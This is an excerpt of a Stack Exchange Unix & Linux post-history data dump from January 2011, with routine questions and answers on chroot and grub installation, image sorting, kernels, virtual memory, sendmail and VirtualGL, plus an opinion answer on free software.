  <row Id="11820" PostHistoryTypeId="3" PostId="5316" RevisionGUID="dba559a8-1311-45d3-9af1-f106cfeb9b6e" CreationDate="2011-01-01T23:22:40.677" UserId="2362" Text="éasciiàédiagramàéportfolioà" />
  <row Id="11824" PostHistoryTypeId="2" PostId="5318" RevisionGUID="a35f0414-1026-4831-9e42-2e81a0903c92" CreationDate="2011-01-02T00:31:51.623" UserId="305" Text="Mount basic filesystems and copy/modify files while chrooting like:&#xD;&#xA;&#xD;&#xA; - /dev (`mount -o bind /dev/ /path/to/chroot/dev`)&#xD;&#xA; - /proc (`mount -t proc none /path/to/chroot/proc`)&#xD;&#xA; - /sys (`mount -t sysfs none /path/to/chroot/sys`)&#xD;&#xA;&#xD;&#xA;IIRC that worked for me while installing Grub 2 in arch and numerous times on Gentoo. Then after chroot to `/path/to/chroot` command was simply:&#xD;&#xA;&#xD;&#xA;    grub-install /dev/&lt;boot_disk&gt;&#xD;&#xA;&#xD;&#xA;------------------------&#xD;&#xA;&#xD;&#xA;As of lvm2 (and I belive madm but I haven't used it) the configuration is stored on disk. There is configuration what should be read to discover devices. Assuming your devices are in standard locations (`/dev/sd*` or `/dev/hd*`) there should be no problem.&#xD;&#xA;&#xD;&#xA;------------------------&#xD;&#xA;&#xD;&#xA;PS. I would not trust simple cp of live system as there are several places where it can go wrong:&#xD;&#xA;&#xD;&#xA;- Forgot to change `/etc/fstab` and other useful files&#xD;&#xA;- Files changed during access&#xD;&#xA;- Coping garbage (`/tmp` etc.)" />
  <row Id="11829" PostHistoryTypeId="2" PostId="5319" RevisionGUID="3be598fc-c5c7-4f5f-823a-09eed96432f3" CreationDate="2011-01-02T02:41:11.953" UserId="3408" Text="I've got a deep directory tree containing .PNG files.  I'd like to find all the .PNG files in the directory, sort them in order of size from smallest to largest, and then display every 50th image.&#xD;&#xA;&#xD;&#xA;(I'm analyzing data and trying to find the best size cutoff between &quot;potentially useful&quot; and &quot;random noise&quot; so I want an easy way to skim through these thousands of images....)&#xD;&#xA;&#xD;&#xA;Any scripting help is appreciated.  I know how to use 'find' to search by size, but not how to sort the results or run a display program to display every 50th without having it pause the process waiting.&#xD;&#xA;&#xD;&#xA;I am using MacOS Snow Leopard, btw.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="11830" PostHistoryTypeId="1" PostId="5319" RevisionGUID="3be598fc-c5c7-4f5f-823a-09eed96432f3" CreationDate="2011-01-02T02:41:11.953" UserId="3408" Text="Best way to work through / display a tree of images sorted by size..." />
  <row Id="11831" PostHistoryTypeId="3" PostId="5319" RevisionGUID="3be598fc-c5c7-4f5f-823a-09eed96432f3" CreationDate="2011-01-02T02:41:11.953" UserId="3408" Text="éscriptingàéshellöscriptàéfindàéosxà" />
  <row Id="11832" PostHistoryTypeId="2" PostId="5320" RevisionGUID="3a1779ee-b3ba-4273-bb12-2561ed3e79f9" CreationDate="2011-01-02T05:14:29.153" UserId="2362" Text="**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][3]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][1]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;The FOSS movement is not a marginal body, please, note that they do have their own things such as music and hardware, urls below. If your media says something else or nothing, they are ignoramuses. &#xD;&#xA;&#xD;&#xA;&gt; free:http://opencollector.org/freecomputers.html&#xD;&#xA;&gt; free:http://opencollector.org/history/index.html&#xD;&#xA;&gt;&#xD;&#xA;&gt; hardware:opencircuitdesign.com/    &#xD;&#xA;&gt; hardware:http://fabathome.org/    &#xD;&#xA;&gt; hardware:http://www.auroramixer.com/  &#xD;&#xA;&gt; hardware:http://reprap.org/wiki/Main_Page&#xD;&#xA;&gt; hardware:http://www.freeduino.org/    &#xD;&#xA;&gt; hardware:http://www.arduino.cc/    &#xD;&#xA;&gt; hardware:http://dangerousprototypes.com/&#xD;&#xA;&gt; hardware:http://www.gadgetfactory.net &#xD;&#xA;&gt; hardware:http://www.seeedstudio.com/  &#xD;&#xA;&gt; hardware:http://opencores.org/&#xD;&#xA;&gt;&#xD;&#xA;&gt; music:http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;&gt; music:http://www.openbsd.org/lyrics.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows`, more below.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; What is the relation between Windows&#xD;&#xA;&gt; and Unix?&#xD;&#xA;&#xD;&#xA;What do you mean by them? By the term `Windows`, do you mean the `NT development branch` or the brand. Please, note that the branding can change like a whirpool, as the case from `Windows NT` marketing to `Windows` marketing reveals but development branch rarely does. By the term `Unix`, what do you mean? Do you mean whether something called `Windows` use its code or do you mean whether they co-operate or fight? So long there is a player full of closed code, I could give you only examples where one player copy-cat a code but nothing more, please, be precise.&#xD;&#xA;&#xD;&#xA;  [1]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [2]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [3]: http://opencollector.org/history/homebrew/index.html" />
  <row Id="11833" PostHistoryTypeId="5" PostId="5320" RevisionGUID="5cc3d1c8-f2e0-47d6-85d0-d2462b9e4e7d" CreationDate="2011-01-02T05:21:13.907" UserId="2362" Comment="deleted 455 characters in body; added 86 characters in body; added 2 characters in body" Text="**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][3]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][1]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;The FOSS movement is not a marginal body, please, note that they do have their own things such as music and hardware, urls below. If your media says something else or nothing, they are ignoramuses. &#xD;&#xA;&#xD;&#xA;&gt; free:http://opencollector.org/freecomputers.html&#xD;&#xA;&gt; free:http://opencollector.org/history/index.html&#xD;&#xA;&gt;&#xD;&#xA;&gt; hardware:opencircuitdesign.com/    &#xD;&#xA;&gt; hardware:http://fabathome.org/    &#xD;&#xA;&gt; hardware:http://www.auroramixer.com/  &#xD;&#xA;&gt; hardware:http://reprap.org/wiki/Main_Page&#xD;&#xA;&gt; hardware:http://www.freeduino.org/    &#xD;&#xA;&gt; hardware:http://www.arduino.cc/    &#xD;&#xA;&gt; hardware:http://dangerousprototypes.com/&#xD;&#xA;&gt; hardware:http://www.gadgetfactory.net &#xD;&#xA;&gt; hardware:http://www.seeedstudio.com/  &#xD;&#xA;&gt; hardware:http://opencores.org/&#xD;&#xA;&gt;&#xD;&#xA;&gt; music:http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;&gt; music:http://www.openbsd.org/lyrics.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title would require a long essay since it is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! The source is primary, the rest is secondary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [2]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [3]: http://opencollector.org/history/homebrew/index.html" />
  <row Id="11834" PostHistoryTypeId="5" PostId="5320" RevisionGUID="76c21e84-78a5-45f7-a49d-f6b6d8ccd992" CreationDate="2011-01-02T05:26:54.810" UserId="2362" Comment="added 57 characters in body" Text="**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][3]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][1]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;The FOSS movement is not a marginal body, please, note that they do have their own things such as music and hardware, urls below. If your media says something else or nothing, they are ignoramuses. &#xD;&#xA;&#xD;&#xA;&gt; free:http://opencollector.org/freecomputers.html&#xD;&#xA;&gt; free:http://opencollector.org/history/index.html&#xD;&#xA;&gt;&#xD;&#xA;&gt; hardware:opencircuitdesign.com/    &#xD;&#xA;&gt; hardware:http://fabathome.org/    &#xD;&#xA;&gt; hardware:http://www.auroramixer.com/  &#xD;&#xA;&gt; hardware:http://reprap.org/wiki/Main_Page&#xD;&#xA;&gt; hardware:http://www.freeduino.org/    &#xD;&#xA;&gt; hardware:http://www.arduino.cc/    &#xD;&#xA;&gt; hardware:http://dangerousprototypes.com/&#xD;&#xA;&gt; hardware:http://www.gadgetfactory.net &#xD;&#xA;&gt; hardware:http://www.seeedstudio.com/  &#xD;&#xA;&gt; hardware:http://opencores.org/&#xD;&#xA;&gt;&#xD;&#xA;&gt; music:http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;&gt; music:http://www.openbsd.org/lyrics.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [2]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [3]: http://opencollector.org/history/homebrew/index.html" />
  <row Id="11835" PostHistoryTypeId="5" PostId="5320" RevisionGUID="d2ae42a6-e714-415b-a562-db3214efa97e" CreationDate="2011-01-02T05:32:18.160" UserId="2362" Comment="added 237 characters in body" Text="**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][3]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][1]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;The FOSS movement is not a marginal body, please, note that they do have their own things such as music and hardware, urls below. If your media says something else or nothing, they are ignoramuses. &#xD;&#xA;&#xD;&#xA;&gt; free:http://opencollector.org/freecomputers.html&#xD;&#xA;&gt; free:http://opencollector.org/history/index.html&#xD;&#xA;&gt;&#xD;&#xA;&gt; hardware:opencircuitdesign.com/    &#xD;&#xA;&gt; hardware:http://fabathome.org/    &#xD;&#xA;&gt; hardware:http://www.auroramixer.com/  &#xD;&#xA;&gt; hardware:http://reprap.org/wiki/Main_Page&#xD;&#xA;&gt; hardware:http://www.freeduino.org/    &#xD;&#xA;&gt; hardware:http://www.arduino.cc/    &#xD;&#xA;&gt; hardware:http://dangerousprototypes.com/&#xD;&#xA;&gt; hardware:http://www.gadgetfactory.net &#xD;&#xA;&gt; hardware:http://www.seeedstudio.com/  &#xD;&#xA;&gt; hardware:http://opencores.org/&#xD;&#xA;&gt;&#xD;&#xA;&gt; music:http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;&gt; music:http://www.openbsd.org/lyrics.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary. Be sure which blindfolds, i.e. search engine, you use for this topic, many valuable articles are dumped with irrelevant information as the case with the above removed article. As a starting point, you could try some links offered above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [2]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [3]: http://opencollector.org/history/homebrew/index.html" />
  <row Id="11836" PostHistoryTypeId="5" PostId="5320" RevisionGUID="e2099c60-a09b-4a88-bf22-4aa0355b9cd8" CreationDate="2011-01-02T05:37:55.023" UserId="2362" Comment="added 238 characters in body; edited body; added 41 characters in body" Text="*Gilles explained very well the evolution from piece to another [here][1], so I will cover the topic from more broad perspective and give some hints for further research.*&#xD;&#xA;&#xD;&#xA;**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][2]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][3]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic.&#xD;&#xA;&#xD;&#xA;![alt text][4]&#xD;&#xA;&#xD;&#xA;The FOSS movement is not a marginal body, please, note that they do have their own things such as music and hardware, urls below. If your media says something else or nothing, they are ignoramuses. &#xD;&#xA;&#xD;&#xA;&gt; free:http://opencollector.org/freecomputers.html&#xD;&#xA;&gt; free:http://opencollector.org/history/index.html&#xD;&#xA;&gt;&#xD;&#xA;&gt; hardware:opencircuitdesign.com/    &#xD;&#xA;&gt; hardware:http://fabathome.org/    &#xD;&#xA;&gt; hardware:http://www.auroramixer.com/  &#xD;&#xA;&gt; hardware:http://reprap.org/wiki/Main_Page&#xD;&#xA;&gt; hardware:http://www.freeduino.org/    &#xD;&#xA;&gt; hardware:http://www.arduino.cc/    &#xD;&#xA;&gt; hardware:http://dangerousprototypes.com/&#xD;&#xA;&gt; hardware:http://www.gadgetfactory.net &#xD;&#xA;&gt; hardware:http://www.seeedstudio.com/  &#xD;&#xA;&gt; hardware:http://opencores.org/&#xD;&#xA;&gt;&#xD;&#xA;&gt; music:http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;&gt; music:http://www.openbsd.org/lyrics.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary. Be sure which blindfolds, i.e. search engine, you use for this topic, many valuable articles are dumped with irrelevant information as the case with the above removed article. As a starting point, you could try some links offered above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix/3202#3202&#xD;&#xA;  [2]: http://opencollector.org/history/homebrew/index.html&#xD;&#xA;  [3]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [4]: http://i.imgur.com/JvOTq.png" />
  <row Id="11837" PostHistoryTypeId="5" PostId="5320" RevisionGUID="aebacbcc-0538-4e62-9c19-6ce2a3404a5f" CreationDate="2011-01-02T05:53:34.563" UserId="2362" Comment="cleaning up junk" Text="*Gilles explained very well the evolution from piece to another [here][1], so I will cover the topic from more broad perspective and give some hints for further research.*&#xD;&#xA;&#xD;&#xA;**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][2]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][3]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic.&#xD;&#xA;&#xD;&#xA;![alt text][4]&#xD;&#xA;&#xD;&#xA;The FOSS movement is not a marginal body, please, note that they do have their own things such as music ([here][5] or [here][6])and more-and-more hardware ([here][7]). If your media says something else or nothing, they are ignoramuses.&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary. Be sure which blindfolds, i.e. search engine, you use for this topic, many valuable articles are dumped with irrelevant information as the case with the above removed article. As a starting point, you could try some links offered above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix/3202#3202&#xD;&#xA;  [2]: http://opencollector.org/history/homebrew/index.html&#xD;&#xA;  [3]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [4]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [5]: http://www.openbsd.org/lyrics.html&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;  [7]: http://www.freeduino.org/" />
  <row Id="11839" PostHistoryTypeId="2" PostId="5321" RevisionGUID="467404e4-f93f-4d30-be20-aed3f8d06b83" CreationDate="2011-01-02T06:29:12.480" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I know that Linux OS's are typically multi-programmed __ which means that multiple processes can be active at the same time. Can there be multiple kernels executing at the same time?  &#xD;&#xA;&#xD;&#xA;Please shed some light into this question.   &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11840" PostHistoryTypeId="1" PostId="5321" RevisionGUID="467404e4-f93f-4d30-be20-aed3f8d06b83" CreationDate="2011-01-02T06:29:12.480" UserId="2871" Text="Can there be multiple kernels executing at the same time?" />
  <row Id="11841" PostHistoryTypeId="3" PostId="5321" RevisionGUID="467404e4-f93f-4d30-be20-aed3f8d06b83" CreationDate="2011-01-02T06:29:12.480" UserId="2871" Text="éosàékernelsàémultiöprogrammedà" />
  <row Id="11843" PostHistoryTypeId="2" PostId="5322" RevisionGUID="b8be72ff-0351-401d-bd09-f4c9f3d824db" CreationDate="2011-01-02T06:31:12.110" UserId="3082" Text="Soft of. Check out [User-mode Linux][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/User-mode_Linux" />
  <row Id="11844" PostHistoryTypeId="5" PostId="5321" RevisionGUID="91921590-dc8d-437d-9256-10448f1c0500" CreationDate="2011-01-02T06:33:08.567" UserId="73" Comment="deleted 80 characters in body" Text="I know that Linux OS's are typically multi-programmed, which means that multiple processes can be active at the same time. Can there be multiple kernels executing at the same time?  &#xD;&#xA;" />
  <row Id="11845" PostHistoryTypeId="2" PostId="5323" RevisionGUID="2390f924-b0e5-4206-9275-be0928360757" CreationDate="2011-01-02T06:40:46.573" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know whether it is possible to support multiple processes without support for Virtual memory? If yes, i would like to know more about it.  &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Sen" />
  <row Id="11846" PostHistoryTypeId="1" PostId="5323" RevisionGUID="2390f924-b0e5-4206-9275-be0928360757" CreationDate="2011-01-02T06:40:46.573" UserId="2871" Text="Is it possible to support multiple processes without support for Virtual memory?" />
  <row Id="11847" PostHistoryTypeId="3" PostId="5323" RevisionGUID="2390f924-b0e5-4206-9275-be0928360757" CreationDate="2011-01-02T06:40:46.573" UserId="2871" Text="éprocessàémemoryàévirtualà" />
  <row Id="11848" PostHistoryTypeId="5" PostId="5323" RevisionGUID="cf859b1e-fee4-4f59-aec5-36b65959c0a9" CreationDate="2011-01-02T07:23:06.837" UserId="73" Comment="deleted 62 characters in body" Text="Is it possible to support multiple processes without support for virtual memory? I would like to know more about it if so.&#xD;&#xA;" />
  <row Id="11849" PostHistoryTypeId="2" PostId="5324" RevisionGUID="b57ac986-6646-4dd5-a8a7-1d35e76fb983" CreationDate="2011-01-02T08:23:33.663" UserId="1946" Text="Just combine `find` to search for `*.png`, `ls` or `stat` to get the file size, `sort` to sort by file size and `awk` to print only every 50th line." />
  <row Id="11850" PostHistoryTypeId="2" PostId="5325" RevisionGUID="dafeb740-a0fc-4df6-a479-c071872fbd75" CreationDate="2011-01-02T08:33:39.727" UserId="2932" Text="This depends on how you define *process* vs *threads* in terms of memory.&#xD;&#xA;&#xD;&#xA;One of the functions of virtual memory is partitioning. While it is possible to run multiple processes without any partitioning, this would be more like running multiple threads than processes - sharing the same address space." />
  <row Id="11851" PostHistoryTypeId="2" PostId="5326" RevisionGUID="0a222cdf-e10f-43a6-9e0a-ea83c9aa8c09" CreationDate="2011-01-02T09:20:48.947" UserId="2594" Text="It is certainly possible with some constraints like memory protection which would be an issue as already stated. For example µClinux http://www.uclinux.org/ supports multiple processes without implementing virtual memory. Note that some CPUs like at least the Analog Devices Blackfin do provide a MPU (Memory Protection Unit) http://docs.blackfin.uclinux.org/doku.php?id=bfin:mpu . This allows virtual memory less operating systems to still allow memory to be partitioned." />
  <row Id="11852" PostHistoryTypeId="5" PostId="5322" RevisionGUID="7676f9b6-ce0b-44de-8af0-4c7a8bec3f34" CreationDate="2011-01-02T09:21:42.633" UserId="3082" Comment="edited body" Text="Sort of. Check out [User-mode Linux][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/User-mode_Linux" />
  <row Id="11853" PostHistoryTypeId="2" PostId="5327" RevisionGUID="66a92881-3190-43c2-9648-b0fdb5a74002" CreationDate="2011-01-02T09:23:22.943" UserId="3082" Text="Searching here you will find that gnuplot (in dumb terminal mode) has been suggested before." />
  <row Id="11854" PostHistoryTypeId="2" PostId="5328" RevisionGUID="7246b31f-f2f5-4678-a377-4dec88e98331" CreationDate="2011-01-02T09:23:30.147" UserId="2594" Text="With most virtualization solutions (xen, virtualbox, vmware and the likes), you certainly have multiple kernels running at the same time on a single machine." />
  <row Id="11855" PostHistoryTypeId="2" PostId="5329" RevisionGUID="460712ae-0f17-4945-afd7-5cf0dd72d2d8" CreationDate="2011-01-02T10:29:13.693" UserId="2914" Text="I am using sendmail in RHEL 5. I have three mail accounts for the user jack, bob and &#xD;&#xA;alice. Here I want to make sure, user bob can send mail to alice but jack can't send mail to alice. But user jack can send mail to bob.How can i do this??" />
  <row Id="11856" PostHistoryTypeId="1" PostId="5329" RevisionGUID="460712ae-0f17-4945-afd7-5cf0dd72d2d8" CreationDate="2011-01-02T10:29:13.693" UserId="2914" Text="block specific user to send mail" />
  <row Id="11857" PostHistoryTypeId="3" PostId="5329" RevisionGUID="460712ae-0f17-4945-afd7-5cf0dd72d2d8" CreationDate="2011-01-02T10:29:13.693" UserId="2914" Text="ésendmailà" />
  <row Id="11858" PostHistoryTypeId="2" PostId="5330" RevisionGUID="3b899779-40e3-47a3-b253-30b121d8680b" CreationDate="2011-01-02T10:37:37.750" UserId="863" Text="(Follow-up on [How to efficiently use 3D via a remote connection?](http://unix.stackexchange.com/q/5235/863))&#xD;&#xA;&#xD;&#xA;I installed the amd64 package on the server and the i386 one on the client. Following [the user's guide](http://www.virtualgl.org/vgldoc/2_2final/#hd007001) I run this on the client:&#xD;&#xA;&#xD;&#xA;    me@client&gt; /opt/VirtualGL/bin/vglconnect me@server&#xD;&#xA;    me@server&gt; /opt/VirtualGL/bin/vglrun glxgears&#xD;&#xA;&#xD;&#xA;This causes a segfault, using `vglconnect -s` for a ssh tunnel doesn't work either. I also tried the [TurboVNC method](http://www.virtualgl.org/vgldoc/1_0final/#hd008001), where starting `vglrun glxgears` works, but I'd prefer transmitting only the application window using the jpeg compression. Is the problem 32 &lt;-&gt; 64 bit? Or how can I fix things?" />
  <row Id="11859" PostHistoryTypeId="1" PostId="5330" RevisionGUID="3b899779-40e3-47a3-b253-30b121d8680b" CreationDate="2011-01-02T10:37:37.750" UserId="863" Text="Segmentation fault when trying to run glxgears via virtualGL" />
  <row Id="11860" PostHistoryTypeId="3" PostId="5330" RevisionGUID="3b899779-40e3-47a3-b253-30b121d8680b" CreationDate="2011-01-02T10:37:37.750" UserId="863" Text="ésegmentationöfaultàévirtualglà" />
